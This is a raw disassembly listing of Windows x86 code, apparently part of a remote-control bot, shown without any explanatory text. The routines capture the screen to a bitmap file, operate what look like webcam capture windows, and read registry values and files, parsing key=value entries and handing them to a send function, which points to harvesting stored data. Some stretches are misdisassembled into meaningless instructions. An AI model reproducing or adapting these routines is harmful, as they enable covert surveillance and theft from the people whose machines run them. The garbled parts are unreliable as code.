		jmp	short loc_41522F
; ---------------------------------------------------------------------------


loc_4151ED:				; CODE XREF: sub_4151B6+17j
					; sub_4151B6+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43FDB8[esi]
		push	ebx
		call	sub_41B780
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B7E0
		push	9Fh
		lea	eax, dword_43FDD0[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B7E0
		add	esp, 24h
		inc	ds:dword_42A488
		pop	ebx


loc_41522F:				; CODE XREF: sub_4151B6+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4151B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415236	proc near		; CODE XREF: seg000:00404395p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_438D94
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43FDB8


loc_415260:				; CODE XREF: sub_415236+72j
		cmp	byte ptr [esi],	0
		jz	short loc_41529B
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_438D80
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41BB70
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 2Ch


loc_41529B:				; CODE XREF: sub_415236+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_440938
		jl	short loc_415260
		pop	edi
		pop	esi
		leave
		retn
sub_415236	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4152AE	proc near		; CODE XREF: seg000:00401E8Dp
					; seg000:0040209Dp ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	ds:dword_428130	; GetLocalTime
		mov	ebx, offset dword_4D57E8
		mov	edi, 80h
		mov	esi, offset dword_4D17E8


loc_4152D0:				; CODE XREF: sub_4152AE+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4152E7
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B7E0
		add	esp, 0Ch


loc_4152E7:				; CODE XREF: sub_4152AE+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4152D0
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41BB70
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4152AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415322	proc near		; CODE XREF: sub_401875+F7p
					; seg000:loc_408972p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C380
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4152AE
		add	esp, 14h
		leave
		retn
sub_415322	endp


; =============== S U B	R O U T	I N E =======================================



sub_41534E	proc near		; CODE XREF: seg000:0040428Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4D17E8
		xor	ecx, ecx


loc_415355:				; CODE XREF: sub_41534E+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D57E8
		jl	short loc_415355
		cmp	[esp+arg_C], ecx
		jnz	short loc_415383
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_438DE0
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409966
		add	esp, 14h


loc_415383:				; CODE XREF: sub_41534E+19j
		push	offset dword_438DCC
		call	sub_4152AE
		pop	ecx
		retn
sub_41534E	endp

; ---------------------------------------------------------------------------
byte_41538F	db 55h			; DATA XREF: seg000:00404340o
; ---------------------------------------------------------------------------
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		xor	edx, edx
		rep movsd
		xor	edi, edi
		mov	dword ptr [ebp-8], 80h
		inc	edi
		cmp	[ebp-10h], edx
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4153E2
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_438E10
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409966
		add	esp, 14h


loc_4153E2:				; CODE XREF: seg000:004153C2j
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415402
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41B969
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415402
		mov	[ebp-8], eax


loc_415402:				; CODE XREF: seg000:004153E9j
					; seg000:004153FDj
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4D17E8


loc_41540B:				; CODE XREF: seg000:00415463j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415465
		cmp	byte ptr [esi],	0
		jz	short loc_415454
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_41543A
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_41543A
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_41826C
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415454


loc_41543A:				; CODE XREF: seg000:0041541Fj
					; seg000:00415425j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409966
		add	esp, 14h


loc_415454:				; CODE XREF: seg000:00415416j
					; seg000:00415438j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D57E8
		jl	short loc_41540B


loc_415465:				; CODE XREF: seg000:00415411j
		lea	eax, [ebp-31Ch]
		push	offset dword_438DF4
		push	eax
		call	sub_41BA76
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41549F
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409966
		add	esp, 14h


loc_41549F:				; CODE XREF: seg000:0041547Dj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4152AE
		push	dword ptr [ebp-18h]
		call	sub_40B287
		pop	ecx
		pop	ecx
		push	esi
; ---------------------------------------------------------------------------
		dw 45E8h
		dd 5E006FABh
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi


loc_4154BE:				; CODE XREF: seg000:00408D3Ap
		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	ds:dword_4CDBE4	; CreateDCA
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp-20h], edi
		jz	loc_4156F2
		push	8
		push	edi
		call	ds:dword_4CDC00	; GetDeviceCaps
		push	0Ah
		push	edi
		mov	[ebp-8], eax
		call	ds:dword_4CDC00	; GetDeviceCaps
		push	0Ch
		push	edi
		mov	[ebp-0Ch], eax
		call	ds:dword_4CDC00	; GetDeviceCaps
		cmp	eax, 8
		mov	[ebp-10h], eax
		ja	short loc_415520
		push	18h
		push	edi
		call	ds:dword_4CDC00	; GetDeviceCaps
		mov	ebx, 100h
		jmp	short loc_415522
; ---------------------------------------------------------------------------


loc_415520:				; CODE XREF: seg000:0041550Ej
		xor	ebx, ebx


loc_415522:				; CODE XREF: seg000:0041551Ej
		push	edi
		call	ds:dword_4CDC44	; CreateCompatibleDC
		cmp	eax, esi
		mov	[ebp-4], eax
		jz	loc_4156D7
		mov	eax, [ebp-8]
		push	esi
		mov	[ebp-80h], eax
		mov	eax, [ebp-0Ch]
		mov	[ebp-7Ch], eax
		mov	ax, [ebp-10h]
		mov	[ebp-76h], ax
		lea	eax, [ebp-18h]
		push	esi
		push	eax
		lea	eax, [ebp-84h]
		push	1
		push	eax
		push	edi
		mov	dword ptr [ebp-84h], 28h
		mov	word ptr [ebp-78h], 1
		mov	[ebp-74h], esi
		mov	[ebp-70h], esi
		mov	[ebp-6Ch], esi
		mov	[ebp-68h], esi
		mov	[ebp-64h], ebx
		mov	[ebp-60h], ebx
		call	ds:dword_4CDC3C	; CreateDIBSection
		cmp	eax, esi
		mov	[ebp-1Ch], eax
		jz	loc_4156E2
		push	eax
		push	dword ptr [ebp-4]
		call	ds:dword_4CDAC8	; SelectObject
		cmp	eax, esi
		jz	loc_4156E2
		cmp	eax, 0FFFFFFFFh
		jz	loc_4156E2
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	esi
		push	esi
		push	dword ptr [ebp-4]
		call	ds:dword_4CDC40	; BitBlt
		test	eax, eax
		jz	loc_4156E2
		cmp	ebx, esi
		jz	short loc_4155DF
		lea	eax, [ebp-484h]
		push	eax
		push	ebx
		push	esi
		push	dword ptr [ebp-4]
		call	ds:dword_4CDB1C	; GetDIBColorTable
		mov	ebx, eax


loc_4155DF:				; CODE XREF: seg000:004155C9j
		mov	edi, [ebp-10h]
		mov	ecx, [ebp-8]
		imul	edi, [ebp-0Ch]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp-8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp-26h], eax
		mov	eax, [ebp-0Ch]
		push	esi
		push	esi
		push	40000000h
		push	dword ptr [ebp+8]
		mov	[ebp-50h], eax
		mov	ax, [ebp-10h]
		mov	word ptr [ebp-30h], 4D42h
		mov	[ebp-2Eh], edx
		mov	[ebp-2Ah], si
		mov	[ebp-28h], si
		mov	dword ptr [ebp-58h], 28h
		mov	[ebp-54h], ecx
		mov	word ptr [ebp-4Ch], 1
		mov	[ebp-4Ah], ax
		mov	[ebp-48h], esi
		mov	[ebp-44h], esi
		mov	[ebp-40h], esi
		mov	[ebp-3Ch], esi
		mov	[ebp-38h], ebx
		mov	[ebp-34h], esi
		call	ds:dword_4280EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	short loc_4156C2
		lea	ecx, [ebp-14h]
		push	esi
		push	ecx
		lea	ecx, [ebp-30h]
		push	0Eh
		push	ecx
		push	eax
		call	near ptr 0B10000h
		push	ss
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		lea	eax, [ebp-58h]
		push	28h
		push	eax
		push	dword ptr [ebp+8]
		call	near ptr 0B10000h
		js	short near ptr loc_4156C2+2
		fidiv	word ptr [eax+ebx-73h]
		inc	ebp
		in	al, dx
		push	esi
		push	eax
		lea	eax, [ebp-484h]
		push	dword ptr [ebp-8]
		push	eax
		push	dword ptr [ebp+8]
		call	near ptr 0B10000h
		nop
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		push	edi
		push	dword ptr [ebp-18h]
		push	dword ptr [ebp+8]
		call	near ptr 0B10000h
		mov	ebp, 0FF0875FFh
		adc	eax, offset dword_42806C
		xor	esi, esi
		inc	esi


loc_4156C2:				; CODE XREF: seg000:00415660j
					; seg000:00415687j
		push	dword ptr [ebp-1Ch]
		call	ds:dword_4CDB54	; DeleteObject
		push	dword ptr [ebp-4]
		call	ds:dword_4CDAB4	; DeleteDC
		mov	edi, [ebp-20h]


loc_4156D7:				; CODE XREF: seg000:0041552Ej
		push	edi
		call	ds:dword_4CDAB4	; DeleteDC
		mov	eax, esi
		jmp	short loc_4156F4
; ---------------------------------------------------------------------------


loc_4156E2:				; CODE XREF: seg000:00415585j
					; seg000:00415597j ...
		push	edi
		call	ds:dword_4CDAB4	; DeleteDC
		push	dword ptr [ebp-4]
		call	ds:dword_4CDAB4	; DeleteDC


loc_4156F2:				; CODE XREF: seg000:004154E1j
		xor	eax, eax


loc_4156F4:				; CODE XREF: seg000:004156E0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4156F9	proc near		; CODE XREF: seg000:00408E61p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		inc	esi
		xor	ebx, ebx
		push	esi
		push	ds:dword_4D57E8
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	ds:dword_4CDB48
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415737
		mov	eax, esi
		jmp	loc_4158ED
; ---------------------------------------------------------------------------


loc_415737:				; CODE XREF: sub_4156F9+35j
		push	edi
		call	ds:dword_4CDB98	; IsWindow
		test	eax, eax
		jz	short loc_415754
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	ds:dword_4CDC54	; SendMessageA
		jmp	short loc_415756
; ---------------------------------------------------------------------------


loc_415754:				; CODE XREF: sub_4156F9+47j
		xor	eax, eax


loc_415756:				; CODE XREF: sub_4156F9+59j
		cmp	eax, ebx
		jnz	short loc_415761


loc_41575A:				; CODE XREF: sub_4156F9+88j
					; sub_4156F9+BCj
		mov	ebx, esi
		jmp	loc_4158E2
; ---------------------------------------------------------------------------


loc_415761:				; CODE XREF: sub_4156F9+5Fj
		push	edi
		call	ds:dword_4CDB98	; IsWindow
		test	eax, eax
		jz	short loc_41577E
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	ds:dword_4CDC54	; SendMessageA


loc_41577E:				; CODE XREF: sub_4156F9+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_41575A
		push	edi
		call	ds:dword_4CDB98	; IsWindow
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4157A4
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	ds:dword_4CDC54	; SendMessageA
		mov	[ebp+arg_4], eax
		jmp	short loc_4157A7
; ---------------------------------------------------------------------------


loc_4157A4:				; CODE XREF: sub_4156F9+98j
		mov	[ebp+arg_4], ebx


loc_4157A7:				; CODE XREF: sub_4156F9+A9j
		push	[ebp+arg_4]
		call	sub_41B6C5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_41575A
		push	[ebp+arg_4]
		call	sub_41B6C5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4157CE
		xor	ebx, ebx
		inc	ebx
		jmp	loc_4158E2
; ---------------------------------------------------------------------------


loc_4157CE:				; CODE XREF: sub_4156F9+CBj
		push	[ebp+var_4]
		call	ds:dword_4CDB98	; IsWindow
		test	eax, eax
		jz	short loc_4157EB
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	ds:dword_4CDC54	; SendMessageA


loc_4157EB:				; CODE XREF: sub_4156F9+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C500
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415806
		mov	ecx, 280h


loc_415806:				; CODE XREF: sub_4156F9+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415812
		mov	eax, 1E0h


loc_415812:				; CODE XREF: sub_4156F9+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	ds:dword_4CDB98	; IsWindow
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41585C
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	ds:dword_4CDC54	; SendMessageA


loc_41585C:				; CODE XREF: sub_4156F9+153j
		push	[ebp+var_4]
		call	ds:dword_4CDB98	; IsWindow
		test	eax, eax
		jz	short loc_415879
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	ds:dword_4CDC54	; SendMessageA


loc_415879:				; CODE XREF: sub_4156F9+16Ej
		push	[ebp+var_4]
		call	ds:dword_4CDB98	; IsWindow
		test	eax, eax
		jz	short loc_415898
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	ds:dword_4CDC54	; SendMessageA


loc_415898:				; CODE XREF: sub_4156F9+18Bj
		push	[ebp+var_4]
		call	ds:dword_4CDB98	; IsWindow
		test	eax, eax
		jz	short loc_4158B5
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	ds:dword_4CDC54	; SendMessageA


loc_4158B5:				; CODE XREF: sub_4156F9+1AAj
		push	[ebp+var_8]
		call	sub_41B2A1
		push	esi
		call	sub_41B2A1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_4CDB98	; IsWindow
		test	eax, eax
		jz	short loc_4158E2
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	ds:dword_4CDC54	; SendMessageA


loc_4158E2:				; CODE XREF: sub_4156F9+63j
					; sub_4156F9+D0j ...
		push	[ebp+var_4]
		call	ds:dword_4CDCA8	; DestroyWindow
		mov	eax, ebx


loc_4158ED:				; CODE XREF: sub_4156F9+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4156F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4158F2	proc near		; CODE XREF: seg000:00408F1Dp

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		inc	esi
		xor	ebx, ebx
		push	esi
		push	ds:dword_4D57E8
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	ds:dword_4CDB48
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_415930
		mov	eax, esi
		jmp	loc_415B2C
; ---------------------------------------------------------------------------


loc_415930:				; CODE XREF: sub_4158F2+35j
		push	edi
		call	ds:dword_4CDB98	; IsWindow
		test	eax, eax
		jz	short loc_41594D
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	ds:dword_4CDC54	; SendMessageA
		jmp	short loc_41594F
; ---------------------------------------------------------------------------


loc_41594D:				; CODE XREF: sub_4158F2+47j
		xor	eax, eax


loc_41594F:				; CODE XREF: sub_4158F2+59j
		cmp	eax, ebx
		jnz	short loc_41595A


loc_415953:				; CODE XREF: sub_4158F2+8Bj
					; sub_4158F2+BCj
		mov	ebx, esi
		jmp	loc_415B23
; ---------------------------------------------------------------------------


loc_41595A:				; CODE XREF: sub_4158F2+5Fj
		push	edi
		call	ds:dword_4CDB98	; IsWindow
		test	eax, eax
		jz	short loc_41597A
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	ds:dword_4CDC54	; SendMessageA


loc_41597A:				; CODE XREF: sub_4158F2+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415953
		push	edi
		call	ds:dword_4CDB98	; IsWindow
		test	eax, eax
		jz	short loc_41599D
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	ds:dword_4CDC54	; SendMessageA
		mov	[ebp+arg_4], eax
		jmp	short loc_4159A0
; ---------------------------------------------------------------------------


loc_41599D:				; CODE XREF: sub_4158F2+96j
		mov	[ebp+arg_4], ebx


loc_4159A0:				; CODE XREF: sub_4158F2+A9j
		push	[ebp+arg_4]
		call	sub_41B6C5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415953
		push	[ebp+arg_4]
		call	sub_41B6C5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4159C7
		xor	ebx, ebx
		inc	ebx
		jmp	loc_415B23
; ---------------------------------------------------------------------------


loc_4159C7:				; CODE XREF: sub_4158F2+CBj
		push	edi
		call	ds:dword_4CDB98	; IsWindow
		test	eax, eax
		jz	short loc_4159E4
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	ds:dword_4CDC54	; SendMessageA


loc_4159E4:				; CODE XREF: sub_4158F2+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C500
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4159FF
		mov	ecx, 0A0h


loc_4159FF:				; CODE XREF: sub_4158F2+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415A09
		push	78h
		pop	eax


loc_415A09:				; CODE XREF: sub_4158F2+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	ds:dword_4CDB98	; IsWindow
		test	eax, eax
		jz	short loc_415A4E
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	ds:dword_4CDC54	; SendMessageA


loc_415A4E:				; CODE XREF: sub_4158F2+14Aj
		push	edi
		call	ds:dword_4CDB98	; IsWindow
		test	eax, eax
		jz	short loc_415A6B
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	ds:dword_4CDC54	; SendMessageA


loc_415A6B:				; CODE XREF: sub_4158F2+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	ds:dword_4CDB98	; IsWindow
		test	eax, eax
		jz	short loc_415AA9
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	ds:dword_4CDC54	; SendMessageA


loc_415AA9:				; CODE XREF: sub_4158F2+1A3j
		push	edi
		call	ds:dword_4CDB98	; IsWindow
		test	eax, eax
		jz	short loc_415AC4
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	ds:dword_4CDC54	; SendMessageA


loc_415AC4:				; CODE XREF: sub_4158F2+1C0j
		push	edi
		call	ds:dword_4CDB98	; IsWindow
		test	eax, eax
		jz	short loc_415ADD
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	ds:dword_4CDC54	; SendMessageA


loc_415ADD:				; CODE XREF: sub_4158F2+1DBj
		push	edi
		call	ds:dword_4CDB98	; IsWindow
		test	eax, eax
		jz	short loc_415AFA
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	ds:dword_4CDC54	; SendMessageA


loc_415AFA:				; CODE XREF: sub_4158F2+1F4j
		push	[ebp+var_4]
		call	sub_41B2A1
		push	esi
		call	sub_41B2A1
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4CDB98	; IsWindow
		test	eax, eax
		jz	short loc_415B23
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	ds:dword_4CDC54	; SendMessageA


loc_415B23:				; CODE XREF: sub_4158F2+63j
					; sub_4158F2+D0j ...
		push	edi
		call	ds:dword_4CDCA8	; DestroyWindow
		mov	eax, ebx


loc_415B2C:				; CODE XREF: sub_4158F2+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4158F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B31	proc near		; CODE XREF: seg000:004040A2p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	ds:off_438E44, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415CDD
		push	esi
		push	edi
		mov	eax, offset off_438E44
		mov	esi, offset dword_438E50
		mov	edi, offset dword_43A05C


loc_415B61:				; CODE XREF: sub_415B31+1A4j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	ds:dword_4CDC68	; RegOpenKeyExA
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	ds:dword_4CDAF8	; RegQueryValueExA
		test	eax, eax
		jnz	loc_415CC4
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415C88
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_42AAE4
		push	eax
		call	sub_41BA76
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B6B2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415CC4
		push	eax
		jmp	short loc_415BF1
; ---------------------------------------------------------------------------


loc_415BDC:				; CODE XREF: sub_415B31+D0j
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415C05
		push	[ebp+var_8]


loc_415BF1:				; CODE XREF: sub_415B31+A9j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BD3F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415BDC
		jmp	short loc_415C7D
; ---------------------------------------------------------------------------


loc_415C05:				; CODE XREF: sub_415B31+BBj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41C1A0
		pop	ecx
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_70]
		jz	short loc_415C44
		push	offset asc_43A058 ; "="
		push	eax
		call	sub_41C2E4
		push	offset asc_43A058 ; "="
		push	ebx
		call	sub_41C2E4
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41BA76
		add	esp, 20h
		jmp	short loc_415C58
; ---------------------------------------------------------------------------


loc_415C44:				; CODE XREF: sub_415B31+E5j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41BA76
		add	esp, 10h


loc_415C58:				; CODE XREF: sub_415B31+111j
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4152AE
		add	esp, 18h


loc_415C7D:				; CODE XREF: sub_415B31+D2j
		push	[ebp+var_8]
		call	sub_41B24B
		pop	ecx
		jmp	short loc_415CC4
; ---------------------------------------------------------------------------


loc_415C88:				; CODE XREF: sub_415B31+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4152AE
		add	esp, 28h


loc_415CC4:				; CODE XREF: sub_415B31+60j
					; sub_415B31+A2j ...
